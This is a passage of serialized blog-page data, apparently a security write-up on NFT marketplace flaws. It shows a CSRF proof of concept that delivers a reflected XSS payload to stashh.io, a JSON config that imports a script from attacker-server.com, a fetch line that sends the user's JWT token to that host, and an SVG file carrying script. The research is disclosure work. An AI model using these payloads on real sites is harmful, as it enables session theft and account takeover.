}",{"type":21,"tag":153,"props":35837,"children":35838},{"style":160},[35839],{"type":26,"value":35840},")()\n",{"type":21,"tag":153,"props":35842,"children":35843},{"class":155,"line":3364},[35844],{"type":21,"tag":153,"props":35845,"children":35846},{"emptyLinePlaceholder":16},[35847],{"type":26,"value":759},{"type":21,"tag":153,"props":35849,"children":35850},{"class":155,"line":3376},[35851,35855,35859],{"type":21,"tag":153,"props":35852,"children":35853},{"style":35069},[35854],{"type":26,"value":35538},{"type":21,"tag":153,"props":35856,"children":35857},{"style":170},[35858],{"type":26,"value":35109},{"type":21,"tag":153,"props":35860,"children":35861},{"style":35069},[35862],{"type":26,"value":4308},{"type":21,"tag":153,"props":35864,"children":35865},{"class":155,"line":3393},[35866,35870,35874],{"type":21,"tag":153,"props":35867,"children":35868},{"style":35069},[35869],{"type":26,"value":35123},{"type":21,"tag":153,"props":35871,"children":35872},{"style":170},[35873],{"type":26,"value":35076},{"type":21,"tag":153,"props":35875,"children":35876},{"style":35069},[35877],{"type":26,"value":4308},{"type":21,"tag":22,"props":35879,"children":35880},{},[35881],{"type":26,"value":35882},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":21,"tag":22,"props":35884,"children":35885},{},[35886],{"type":26,"value":35887},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":21,"tag":22,"props":35889,"children":35890},{},[35891],{"type":26,"value":35892},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":21,"tag":22,"props":35894,"children":35895},{},[35896],{"type":26,"value":35897},"From here, we were able to steal the session cookie from local storage.",{"type":21,"tag":143,"props":35899,"children":35901},{"className":34058,"code":35900,"language":34060,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n\n        form123.submit()\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[35902],{"type":21,"tag":78,"props":35903,"children":35904},{"__ignoreMap":7},[35905,35920,35935,35966,36041,36092,36280,36319,36334,36349,36356,36371,36378,36389,36440,36447,36502,36529,36564,36571,36606,36613,36634,36645,36652,36667],{"type":21,"tag":153,"props":35906,"children":35907},{"class":155,"line":156},[35908,35912,35916],{"type":21,"tag":153,"props":35909,"children":35910},{"style":35069},[35911],{"type":26,"value":8537},{"type":21,"tag":153,"props":35913,"children":35914},{"style":170},[35915],{"type":26,"value":35076},{"type":21,"tag":153,"props":35917,"children":35918},{"style":35069},[35919],{"type":26,"value":4308},{"type":21,"tag":153,"props":35921,"children":35922},{"class":155,"line":166},[35923,35927,35931],{"type":21,"tag":153,"props":35924,"children":35925},{"style":35069},[35926],{"type":26,"value":35088},{"type":21,"tag":153,"props":35928,"children":35929},{"style":170},[35930],{"type":26,"value":35093},{"type":21,"tag":153,"props":35932,"children":35933},{"style":35069},[35934],{"type":26,"value":4308},{"type":21,"tag":153,"props":35936,"children":35937},{"class":155,"line":225},[35938,35942,35946,35950,35954,35958,35962],{"type":21,"tag":153,"props":35939,"children":35940},{"style":35069},[35941],{"type":26,"value":35088},{"type":21,"tag":153,"props":35943,"children":35944},{"style":170},[35945],{"type":26,"value":35109},{"type":21,"tag":153,"props":35947,"children":35948},{"style":35069},[35949],{"type":26,"value":13182},{"type":21,"tag":153,"props":35951,"children":35952},{"style":160},[35953],{"type":26,"value":35118},{"type":21,"tag":153,"props":35955,"children":35956},{"style":35069},[35957],{"type":26,"value":35123},{"type":21,"tag":153,"props":35959,"children":35960},{"style":170},[35961],{"type":26,"value":35109},{"type":21,"tag":153,"props":35963,"children":35964},{"style":35069},[35965],{"type":26,"value":4308},{"type":21,"tag":153,"props":35967,"children":35968},{"class":155,"line":239},[35969,35973,35977,35981,35985,35989,35993,35997,36001,36005,36009,36013,36017,36021,36025,36029,36033,36037],{"type":21,"tag":153,"props":35970,"children":35971},{"style":35069},[35972],{"type":26,"value":35139},{"type":21,"tag":153,"props":35974,"children":35975},{"style":170},[35976],{"type":26,"value":35144},{"type":21,"tag":153,"props":35978,"children":35979},{"style":192},[35980],{"type":26,"value":35149},{"type":21,"tag":153,"props":35982,"children":35983},{"style":198},[35984],{"type":26,"value":2367},{"type":21,"tag":153,"props":35986,"children":35987},{"style":671},[35988],{"type":26,"value":35158},{"type":21,"tag":153,"props":35990,"children":35991},{"style":192},[35992],{"type":26,"value":35163},{"type":21,"tag":153,"props":35994,"children":35995},{"style":198},[35996],{"type":26,"value":2367},{"type":21,"tag":153,"props":35998,"children":35999},{"style":671},[36000],{"type":26,"value":35172},{"type":21,"tag":153,"props":36002,"children":36003},{"style":192},[36004],{"type":26,"value":19808},{"type":21,"tag":153,"props":36006,"children":36007},{"style":198},[36008],{"type":26,"value":2367},{"type":21,"tag":153,"props":36010,"children":36011},{"style":671},[36012],{"type":26,"value":35185},{"type":21,"tag":153,"props":36014,"children":36015},{"style":192},[36016],{"type":26,"value":35190},{"type":21,"tag":153,"props":36018,"children":36019},{"style":198},[36020],{"type":26,"value":2367},{"type":21,"tag":153,"props":36022,"children":36023},{"style":671},[36024],{"type":26,"value":35199},{"type":21,"tag":153,"props":36026,"children":36027},{"style":192},[36028],{"type":26,"value":35204},{"type":21,"tag":153,"props":36030,"children":36031},{"style":198},[36032],{"type":26,"value":2367},{"type":21,"tag":153,"props":36034,"children":36035},{"style":671},[36036],{"type":26,"value":35213},{"type":21,"tag":153,"props":36038,"children":36039},{"style":35069},[36040],{"type":26,"value":4308},{"type":21,"tag":153,"props":36042,"children":36043},{"class":155,"line":382},[36044,36048,36052,36056,36060,36064,36068,36072,36076,36080,36084,36088],{"type":21,"tag":153,"props":36045,"children":36046},{"style":35069},[36047],{"type":26,"value":35225},{"type":21,"tag":153,"props":36049,"children":36050},{"style":170},[36051],{"type":26,"value":11093},{"type":21,"tag":153,"props":36053,"children":36054},{"style":192},[36055],{"type":26,"value":35234},{"type":21,"tag":153,"props":36057,"children":36058},{"style":198},[36059],{"type":26,"value":2367},{"type":21,"tag":153,"props":36061,"children":36062},{"style":671},[36063],{"type":26,"value":35243},{"type":21,"tag":153,"props":36065,"children":36066},{"style":192},[36067],{"type":26,"value":35248},{"type":21,"tag":153,"props":36069,"children":36070},{"style":198},[36071],{"type":26,"value":2367},{"type":21,"tag":153,"props":36073,"children":36074},{"style":671},[36075],{"type":26,"value":35257},{"type":21,"tag":153,"props":36077,"children":36078},{"style":192},[36079],{"type":26,"value":35149},{"type":21,"tag":153,"props":36081,"children":36082},{"style":198},[36083],{"type":26,"value":2367},{"type":21,"tag":153,"props":36085,"children":36086},{"style":671},[36087],{"type":26,"value":35270},{"type":21,"tag":153,"props":36089,"children":36090},{"style":35069},[36091],{"type":26,"value":4308},{"type":21,"tag":153,"props":36093,"children":36094},{"class":155,"line":501},[36095,36099,36103,36107,36111,36115,36119,36123,36127,36131,36135,36139,36144,36148,36153,36157,36162,36166,36171,36176,36180,36184,36189,36194,36199,36204,36209,36214,36218,36223,36227,36231,36236,36240,36245,36250,36255,36259,36263,36267,36272,36276],{"type":21,"tag":153,"props":36096,"children":36097},{"style":35069},[36098],{"type":26,"value":35282},{"type":21,"tag":153,"props":36100,"children":36101},{"style":170},[36102],{"type":26,"value":11093},{"type":21,"tag":153,"props":36104,"children":36105},{"style":192},[36106],{"type":26,"value":35234},{"type":21,"tag":153,"props":36108,"children":36109},{"style":198},[36110],{"type":26,"value":2367},{"type":21,"tag":153,"props":36112,"children":36113},{"style":671},[36114],{"type":26,"value":35299},{"type":21,"tag":153,"props":36116,"children":36117},{"style":192},[36118],{"type":26,"value":35248},{"type":21,"tag":153,"props":36120,"children":36121},{"style":198},[36122],{"type":26,"value":2367},{"type":21,"tag":153,"props":36124,"children":36125},{"style":671},[36126],{"type":26,"value":35312},{"type":21,"tag":153,"props":36128,"children":36129},{"style":192},[36130],{"type":26,"value":35204},{"type":21,"tag":153,"props":36132,"children":36133},{"style":198},[36134],{"type":26,"value":2367},{"type":21,"tag":153,"props":36136,"children":36137},{"style":671},[36138],{"type":26,"value":22756},{"type":21,"tag":153,"props":36140,"children":36141},{"style":170},[36142],{"type":26,"value":36143},"{"",{"type":21,"tag":153,"props":36145,"children":36146},{"style":671},[36147],{"type":26,"value":35334},{"type":21,"tag":153,"props":36149,"children":36150},{"style":170},[36151],{"type":26,"value":36152},"":"<",{"type":21,"tag":153,"props":36154,"children":36155},{"style":671},[36156],{"type":26,"value":3644},{"type":21,"tag":153,"props":36158,"children":36159},{"style":170},[36160],{"type":26,"value":36161},"/",{"type":21,"tag":153,"props":36163,"children":36164},{"style":671},[36165],{"type":26,"value":35363},{"type":21,"tag":153,"props":36167,"children":36168},{"style":170},[36169],{"type":26,"value":36170},"=",{"type":21,"tag":153,"props":36172,"children":36173},{"style":671},[36174],{"type":26,"value":36175},"x onerror",{"type":21,"tag":153,"props":36177,"children":36178},{"style":170},[36179],{"type":26,"value":36170},{"type":21,"tag":153,"props":36181,"children":36182},{"style":671},[36183],{"type":26,"value":22180},{"type":21,"tag":153,"props":36185,"children":36186},{"style":170},[36187],{"type":26,"value":36188},"(`",{"type":21,"tag":153,"props":36190,"children":36191},{"style":671},[36192],{"type":26,"value":36193},"https",{"type":21,"tag":153,"props":36195,"children":36196},{"style":170},[36197],{"type":26,"value":36198},"://",{"type":21,"tag":153,"props":36200,"children":36201},{"style":671},[36202],{"type":26,"value":36203},"attacker-server",{"type":21,"tag":153,"props":36205,"children":36206},{"style":170},[36207],{"type":26,"value":36208},".",{"type":21,"tag":153,"props":36210,"children":36211},{"style":671},[36212],{"type":26,"value":36213},"com",{"type":21,"tag":153,"props":36215,"children":36216},{"style":170},[36217],{"type":26,"value":36161},{"type":21,"tag":153,"props":36219,"children":36220},{"style":671},[36221],{"type":26,"value":36222},"leak",{"type":21,"tag":153,"props":36224,"children":36225},{"style":170},[36226],{"type":26,"value":36208},{"type":21,"tag":153,"props":36228,"children":36229},{"style":671},[36230],{"type":26,"value":34060},{"type":21,"tag":153,"props":36232,"children":36233},{"style":170},[36234],{"type":26,"value":36235},"`)>","",{"type":21,"tag":153,"props":36237,"children":36238},{"style":671},[36239],{"type":26,"value":35421},{"type":21,"tag":153,"props":36241,"children":36242},{"style":170},[36243],{"type":26,"value":36244},"":"",{"type":21,"tag":153,"props":36246,"children":36247},{"style":671},[36248],{"type":26,"value":36249},"profile-assets",{"type":21,"tag":153,"props":36251,"children":36252},{"style":170},[36253],{"type":26,"value":36254},"","",{"type":21,"tag":153,"props":36256,"children":36257},{"style":671},[36258],{"type":26,"value":35450},{"type":21,"tag":153,"props":36260,"children":36261},{"style":170},[36262],{"type":26,"value":36244},{"type":21,"tag":153,"props":36264,"children":36265},{"style":671},[36266],{"type":26,"value":35459},{"type":21,"tag":153,"props":36268,"children":36269},{"style":170},[36270],{"type":26,"value":36271},""}",{"type":21,"tag":153,"props":36273,"children":36274},{"style":671},[36275],{"type":26,"value":22756},{"type":21,"tag":153,"props":36277,"children":36278},{"style":35069},[36279],{"type":26,"value":35473},{"type":21,"tag":153,"props":36281,"children":36282},{"class":155,"line":533},[36283,36287,36291,36295,36299,36303,36307,36311,36315],{"type":21,"tag":153,"props":36284,"children":36285},{"style":35069},[36286],{"type":26,"value":35282},{"type":21,"tag":153,"props":36288,"children":36289},{"style":170},[36290],{"type":26,"value":11093},{"type":21,"tag":153,"props":36292,"children":36293},{"style":192},[36294],{"type":26,"value":35234},{"type":21,"tag":153,"props":36296,"children":36297},{"style":198},[36298],{"type":26,"value":2367},{"type":21,"tag":153,"props":36300,"children":36301},{"style":671},[36302],{"type":26,"value":35497},{"type":21,"tag":153,"props":36304,"children":36305},{"style":192},[36306],{"type":26,"value":35204},{"type":21,"tag":153,"props":36308,"children":36309},{"style":198},[36310],{"type":26,"value":2367},{"type":21,"tag":153,"props":36312,"children":36313},{"style":671},[36314],{"type":26,"value":35510},{"type":21,"tag":153,"props":36316,"children":36317},{"style":35069},[36318],{"type":26,"value":35473},{"type":21,"tag":153,"props":36320,"children":36321},{"class":155,"line":542},[36322,36326,36330],{"type":21,"tag":153,"props":36323,"children":36324},{"style":35069},[36325],{"type":26,"value":35522},{"type":21,"tag":153,"props":36327,"children":36328},{"style":170},[36329],{"type":26,"value":35144},{"type":21,"tag":153,"props":36331,"children":36332},{"style":35069},[36333],{"type":26,"value":4308},{"type":21,"tag":153,"props":36335,"children":36336},{"class":155,"line":762},[36337,36341,36345],{"type":21,"tag":153,"props":36338,"children":36339},{"style":35069},[36340],{"type":26,"value":35538},{"type":21,"tag":153,"props":36342,"children":36343},{"style":170},[36344],{"type":26,"value":35093},{"type":21,"tag":153,"props":36346,"children":36347},{"style":35069},[36348],{"type":26,"value":4308},{"type":21,"tag":153,"props":36350,"children":36351},{"class":155,"line":776},[36352],{"type":21,"tag":153,"props":36353,"children":36354},{"emptyLinePlaceholder":16},[36355],{"type":26,"value":759},{"type":21,"tag":153,"props":36357,"children":36358},{"class":155,"line":795},[36359,36363,36367],{"type":21,"tag":153,"props":36360,"children":36361},{"style":35069},[36362],{"type":26,"value":35088},{"type":21,"tag":153,"props":36364,"children":36365},{"style":170},[36366],{"type":26,"value":35109},{"type":21,"tag":153,"props":36368,"children":36369},{"style":35069},[36370],{"type":26,"value":4308},{"type":21,"tag":153,"props":36372,"children":36373},{"class":155,"line":808},[36374],{"type":21,"tag":153,"props":36375,"children":36376},{"emptyLinePlaceholder":16},[36377],{"type":26,"value":759},{"type":21,"tag":153,"props":36379,"children":36380},{"class":155,"line":820},[36381,36385],{"type":21,"tag":153,"props":36382,"children":36383},{"style":160},[36384],{"type":26,"value":35583},{"type":21,"tag":153,"props":36386,"children":36387},{"style":170},[36388],{"type":26,"value":13601},{"type":21,"tag":153,"props":36390,"children":36391},{"class":155,"line":842},[36392,36396,36400,36404,36408,36412,36416,36420,36424,36428,36432,36436],{"type":21,"tag":153,"props":36393,"children":36394},{"style":192},[36395],{"type":26,"value":35595},{"type":21,"tag":153,"props":36397,"children":36398},{"style":192},[36399],{"type":26,"value":35600},{"type":21,"tag":153,"props":36401,"children":36402},{"style":198},[36403],{"type":26,"value":35605},{"type":21,"tag":153,"props":36405,"children":36406},{"style":1751},[36407],{"type":26,"value":1754},{"type":21,"tag":153,"props":36409,"children":36410},{"style":198},[36411],{"type":26,"value":5820},{"type":21,"tag":153,"props":36413,"children":36414},{"style":1751},[36415],{"type":26,"value":1754},{"type":21,"tag":153,"props":36417,"children":36418},{"style":181},[36419],{"type":26,"value":35622},{"type":21,"tag":153,"props":36421,"children":36422},{"style":198},[36423],{"type":26,"value":189},{"type":21,"tag":153,"props":36425,"children":36426},{"style":671},[36427],{"type":26,"value":35631},{"type":21,"tag":153,"props":36429,"children":36430},{"style":198},[36431],{"type":26,"value":35636},{"type":21,"tag":153,"props":36433,"children":36434},{"style":181},[36435],{"type":26,"value":35641},{"type":21,"tag":153,"props":36437,"children":36438},{"style":198},[36439],{"type":26,"value":10462},{"type":21,"tag":153,"props":36441,"children":36442},{"class":155,"line":3204},[36443],{"type":21,"tag":153,"props":36444,"children":36445},{"emptyLinePlaceholder":16},[36446],{"type":26,"value":759},{"type":21,"tag":153,"props":36448,"children":36449},{"class":155,"line":3230},[36450,36454,36458,36462,36466,36470,36474,36478,36482,36486,36490,36494,36498],{"type":21,"tag":153,"props":36451,"children":36452},{"style":192},[36453],{"type":26,"value":245},{"type":21,"tag":153,"props":36455,"children":36456},{"style":192},[36457],{"type":26,"value":35664},{"type":21,"tag":153,"props":36459,"children":36460},{"style":198},[36461],{"type":26,"value":35605},{"type":21,"tag":153,"props":36463,"children":36464},{"style":170},[36465],{"type":26,"value":1804},{"type":21,"tag":153,"props":36467,"children":36468},{"style":181},[36469],{"type":26,"value":35677},{"type":21,"tag":153,"props":36471,"children":36472},{"style":198},[36473],{"type":26,"value":35682},{"type":21,"tag":153,"props":36475,"children":36476},{"style":192},[36477],{"type":26,"value":35641},{"type":21,"tag":153,"props":36479,"children":36480},{"style":198},[36481],{"type":26,"value":308},{"type":21,"tag":153,"props":36483,"children":36484},{"style":671},[36485],{"type":26,"value":35695},{"type":21,"tag":153,"props":36487,"children":36488},{"style":198},[36489],{"type":26,"value":35700},{"type":21,"tag":153,"props":36491,"children":36492},{"style":192},[36493],{"type":26,"value":35705},{"type":21,"tag":153,"props":36495,"children":36496},{"style":671},[36497],{"type":26,"value":35710},{"type":21,"tag":153,"props":36499,"children":36500},{"style":198},[36501],{"type":26,"value":35715},{"type":21,"tag":153,"props":36503,"children":36504},{"class":155,"line":3239},[36505,36509,36513,36517,36521,36525],{"type":21,"tag":153,"props":36506,"children":36507},{"style":192},[36508],{"type":26,"value":35595},{"type":21,"tag":153,"props":36510,"children":36511},{"style":192},[36512],{"type":26,"value":35727},{"type":21,"tag":153,"props":36514,"children":36515},{"style":198},[36516],{"type":26,"value":35605},{"type":21,"tag":153,"props":36518,"children":36519},{"style":170},[36520],{"type":26,"value":1804},{"type":21,"tag":153,"props":36522,"children":36523},{"style":181},[36524],{"type":26,"value":35740},{"type":21,"tag":153,"props":36526,"children":36527},{"style":198},[36528],{"type":26,"value":839},{"type":21,"tag":153,"props":36530,"children":36531},{"class":155,"line":3253},[36532,36536,36540,36544,36548,36552,36556,36560],{"type":21,"tag":153,"props":36533,"children":36534},{"style":192},[36535],{"type":26,"value":35752},{"type":21,"tag":153,"props":36537,"children":36538},{"style":198},[36539],{"type":26,"value":355},{"type":21,"tag":153,"props":36541,"children":36542},{"style":192},[36543],{"type":26,"value":35761},{"type":21,"tag":153,"props":36545,"children":36546},{"style":198},[36547],{"type":26,"value":355},{"type":21,"tag":153,"props":36549,"children":36550},{"style":181},[36551],{"type":26,"value":12360},{"type":21,"tag":153,"props":36553,"children":36554},{"style":198},[36555],{"type":26,"value":189},{"type":21,"tag":153,"props":36557,"children":36558},{"style":192},[36559],{"type":26,"value":35778},{"type":21,"tag":153,"props":36561,"children":36562},{"style":198},[36563],{"type":26,"value":530},{"type":21,"tag":153,"props":36565,"children":36566},{"class":155,"line":3301},[36567],{"type":21,"tag":153,"props":36568,"children":36569},{"emptyLinePlaceholder":16},[36570],{"type":26,"value":759},{"type":21,"tag":153,"props":36572,"children":36573},{"class":155,"line":3346},[36574,36578,36582,36586,36590,36594,36598,36602],{"type":21,"tag":153,"props":36575,"children":36576},{"style":192},[36577],{"type":26,"value":35797},{"type":21,"tag":153,"props":36579,"children":36580},{"style":198},[36581],{"type":26,"value":355},{"type":21,"tag":153,"props":36583,"children":36584},{"style":192},[36585],{"type":26,"value":35806},{"type":21,"tag":153,"props":36587,"children":36588},{"style":198},[36589],{"type":26,"value":35605},{"type":21,"tag":153,"props":36591,"children":36592},{"style":192},[36593],{"type":26,"value":35815},{"type":21,"tag":153,"props":36595,"children":36596},{"style":198},[36597],{"type":26,"value":355},{"type":21,"tag":153,"props":36599,"children":36600},{"style":192},[36601],{"type":26,"value":35806},{"type":21,"tag":153,"props":36603,"children":36604},{"style":198},[36605],{"type":26,"value":1759},{"type":21,"tag":153,"props":36607,"children":36608},{"class":155,"line":3355},[36609],{"type":21,"tag":153,"props":36610,"children":36611},{"emptyLinePlaceholder":16},[36612],{"type":26,"value":759},{"type":21,"tag":153,"props":36614,"children":36615},{"class":155,"line":3364},[36616,36621,36625,36630],{"type":21,"tag":153,"props":36617,"children":36618},{"style":192},[36619],{"type":26,"value":36620},"        form123",{"type":21,"tag":153,"props":36622,"children":36623},{"style":198},[36624],{"type":26,"value":355},{"type":21,"tag":153,"props":36626,"children":36627},{"style":181},[36628],{"type":26,"value":36629},"submit",{"type":21,"tag":153,"props":36631,"children":36632},{"style":198},[36633],{"type":26,"value":10462},{"type":21,"tag":153,"props":36635,"children":36636},{"class":155,"line":3376},[36637,36641],{"type":21,"tag":153,"props":36638,"children":36639},{"style":170},[36640],{"type":26,"value":35835},{"type":21,"tag":153,"props":36642,"children":36643},{"style":160},[36644],{"type":26,"value":35840},{"type":21,"tag":153,"props":36646,"children":36647},{"class":155,"line":3393},[36648],{"type":21,"tag":153,"props":36649,"children":36650},{"emptyLinePlaceholder":16},[36651],{"type":26,"value":759},{"type":21,"tag":153,"props":36653,"children":36654},{"class":155,"line":3405},[36655,36659,36663],{"type":21,"tag":153,"props":36656,"children":36657},{"style":35069},[36658],{"type":26,"value":35538},{"type":21,"tag":153,"props":36660,"children":36661},{"style":170},[36662],{"type":26,"value":35109},{"type":21,"tag":153,"props":36664,"children":36665},{"style":35069},[36666],{"type":26,"value":4308},{"type":21,"tag":153,"props":36668,"children":36669},{"class":155,"line":3427},[36670,36674,36678],{"type":21,"tag":153,"props":36671,"children":36672},{"style":35069},[36673],{"type":26,"value":35123},{"type":21,"tag":153,"props":36675,"children":36676},{"style":170},[36677],{"type":26,"value":35076},{"type":21,"tag":153,"props":36679,"children":36680},{"style":35069},[36681],{"type":26,"value":4308},{"type":21,"tag":22,"props":36683,"children":36684},{},[36685],{"type":26,"value":36686},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":21,"tag":143,"props":36688,"children":36692},{"className":36689,"code":36690,"language":36691,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","{\n  \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n  \"to\": \"profile-assets\",\n  \"type\": \"icon\"\n}\n","json",[36693],{"type":21,"tag":78,"props":36694,"children":36695},{"__ignoreMap":7},[36696,36703,36724,36745,36762],{"type":21,"tag":153,"props":36697,"children":36698},{"class":155,"line":156},[36699],{"type":21,"tag":153,"props":36700,"children":36701},{"style":160},[36702],{"type":26,"value":13601},{"type":21,"tag":153,"props":36704,"children":36705},{"class":155,"line":166},[36706,36711,36715,36720],{"type":21,"tag":153,"props":36707,"children":36708},{"style":192},[36709],{"type":26,"value":36710},"  \"address\"",{"type":21,"tag":153,"props":36712,"children":36713},{"style":160},[36714],{"type":26,"value":18031},{"type":21,"tag":153,"props":36716,"children":36717},{"style":671},[36718],{"type":26,"value":36719},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":21,"tag":153,"props":36721,"children":36722},{"style":160},[36723],{"type":26,"value":792},{"type":21,"tag":153,"props":36725,"children":36726},{"class":155,"line":225},[36727,36732,36736,36741],{"type":21,"tag":153,"props":36728,"children":36729},{"style":192},[36730],{"type":26,"value":36731},"  \"to\"",{"type":21,"tag":153,"props":36733,"children":36734},{"style":160},[36735],{"type":26,"value":18031},{"type":21,"tag":153,"props":36737,"children":36738},{"style":671},[36739],{"type":26,"value":36740},"\"profile-assets\"",{"type":21,"tag":153,"props":36742,"children":36743},{"style":160},[36744],{"type":26,"value":792},{"type":21,"tag":153,"props":36746,"children":36747},{"class":155,"line":239},[36748,36753,36757],{"type":21,"tag":153,"props":36749,"children":36750},{"style":192},[36751],{"type":26,"value":36752},"  \"type\"",{"type":21,"tag":153,"props":36754,"children":36755},{"style":160},[36756],{"type":26,"value":18031},{"type":21,"tag":153,"props":36758,"children":36759},{"style":671},[36760],{"type":26,"value":36761},"\"icon\"\n",{"type":21,"tag":153,"props":36763,"children":36764},{"class":155,"line":382},[36765],{"type":21,"tag":153,"props":36766,"children":36767},{"style":160},[36768],{"type":26,"value":548},{"type":21,"tag":22,"props":36770,"children":36771},{},[36772],{"type":26,"value":36773},"Then, the imported script is able to exfiltrate the JWT authentication token from stashh.io:",{"type":21,"tag":143,"props":36775,"children":36777},{"className":34058,"code":36776,"language":34060,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[36778],{"type":21,"tag":78,"props":36779,"children":36780},{"__ignoreMap":7},[36781],{"type":21,"tag":153,"props":36782,"children":36783},{"class":155,"line":156},[36784,36789,36793,36798,36803,36808,36812,36817,36821,36826,36830,36835,36839],{"type":21,"tag":153,"props":36785,"children":36786},{"style":181},[36787],{"type":26,"value":36788},"fetch",{"type":21,"tag":153,"props":36790,"children":36791},{"style":160},[36792],{"type":26,"value":189},{"type":21,"tag":153,"props":36794,"children":36795},{"style":671},[36796],{"type":26,"value":36797},"`https://attacker-server.com/?token_leak=",{"type":21,"tag":153,"props":36799,"children":36800},{"style":170},[36801],{"type":26,"value":36802},"${",{"type":21,"tag":153,"props":36804,"children":36805},{"style":192},[36806],{"type":26,"value":36807},"localStorage",{"type":21,"tag":153,"props":36809,"children":36810},{"style":198},[36811],{"type":26,"value":355},{"type":21,"tag":153,"props":36813,"children":36814},{"style":181},[36815],{"type":26,"value":36816},"getItem",{"type":21,"tag":153,"props":36818,"children":36819},{"style":198},[36820],{"type":26,"value":189},{"type":21,"tag":153,"props":36822,"children":36823},{"style":671},[36824],{"type":26,"value":36825},"'token'",{"type":21,"tag":153,"props":36827,"children":36828},{"style":198},[36829],{"type":26,"value":2071},{"type":21,"tag":153,"props":36831,"children":36832},{"style":170},[36833],{"type":26,"value":36834},"}",{"type":21,"tag":153,"props":36836,"children":36837},{"style":671},[36838],{"type":26,"value":13102},{"type":21,"tag":153,"props":36840,"children":36841},{"style":160},[36842],{"type":26,"value":530},{"type":21,"tag":114,"props":36844,"children":36846},{"id":36845},"svgs",[36847],{"type":26,"value":36848},"SVGs",{"type":21,"tag":22,"props":36850,"children":36851},{},[36852],{"type":26,"value":36853},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":21,"tag":22,"props":36855,"children":36856},{},[36857],{"type":26,"value":36858},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":21,"tag":143,"props":36860,"children":36862},{"className":34058,"code":36861,"language":34060,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   alert(document.domain);\n   \u003C/script>\n \u003C/svg>\n",[36863],{"type":21,"tag":78,"props":36864,"children":36865},{"__ignoreMap":7},[36866,36912,36949,36956,36986,37018,37046,37054,37070],{"type":21,"tag":153,"props":36867,"children":36868},{"class":155,"line":156},[36869,36874,36879,36884,36888,36893,36898,36902,36907],{"type":21,"tag":153,"props":36870,"children":36871},{"style":198},[36872],{"type":26,"value":36873},"\u003C?",{"type":21,"tag":153,"props":36875,"children":36876},{"style":192},[36877],{"type":26,"value":36878},"xml",{"type":21,"tag":153,"props":36880,"children":36881},{"style":192},[36882],{"type":26,"value":36883}," version",{"type":21,"tag":153,"props":36885,"children":36886},{"style":198},[36887],{"type":26,"value":2367},{"type":21,"tag":153,"props":36889,"children":36890},{"style":671},[36891],{"type":26,"value":36892},"\"1.0\"",{"type":21,"tag":153,"props":36894,"children":36895},{"style":192},[36896],{"type":26,"value":36897}," encoding",{"type":21,"tag":153,"props":36899,"children":36900},{"style":198},[36901],{"type":26,"value":2367},{"type":21,"tag":153,"props":36903,"children":36904},{"style":671},[36905],{"type":26,"value":36906},"\"UTF-8\"",{"type":21,"tag":153,"props":36908,"children":36909},{"style":198},[36910],{"type":26,"value":36911},"?>\n",{"type":21,"tag":153,"props":36913,"children":36914},{"class":155,"line":166},[36915,36920,36925,36930,36935,36940,36945],{"type":21,"tag":153,"props":36916,"children":36917},{"style":198},[36918],{"type":26,"value":36919},"\u003C!",{"type":21,"tag":153,"props":36921,"children":36922},{"style":192},[36923],{"type":26,"value":36924},"DOCTYPE",{"type":21,"tag":153,"props":36926,"children":36927},{"style":192},[36928],{"type":26,"value":36929}," svg",{"type":21,"tag":153,"props":36931,"children":36932},{"style":192},[36933],{"type":26,"value":36934}," PUBLIC",{"type":21,"tag":153,"props":36936,"children":36937},{"style":671},[36938],{"type":26,"value":36939}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":21,"tag":153,"props":36941,"children":36942},{"style":671},[36943],{"type":26,"value":36944}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":21,"tag":153,"props":36946,"children":36947},{"style":198},[36948],{"type":26,"value":4308},{"type":21,"tag":153,"props":36950,"children":36951},{"class":155,"line":225},[36952],{"type":21,"tag":153,"props":36953,"children":36954},{"emptyLinePlaceholder":16},[36955],{"type":26,"value":759},{"type":21,"tag":153,"props":36957,"children":36958},{"class":155,"line":239},[36959,36963,36968,36973,36977,36982],{"type":21,"tag":153,"props":36960,"children":36961},{"style":35069},[36962],{"type":26,"value":4094},{"type":21,"tag":153,"props":36964,"children":36965},{"style":170},[36966],{"type":26,"value":36967},"svg",{"type":21,"tag":153,"props":36969,"children":36970},{"style":192},[36971],{"type":26,"value":36972}," 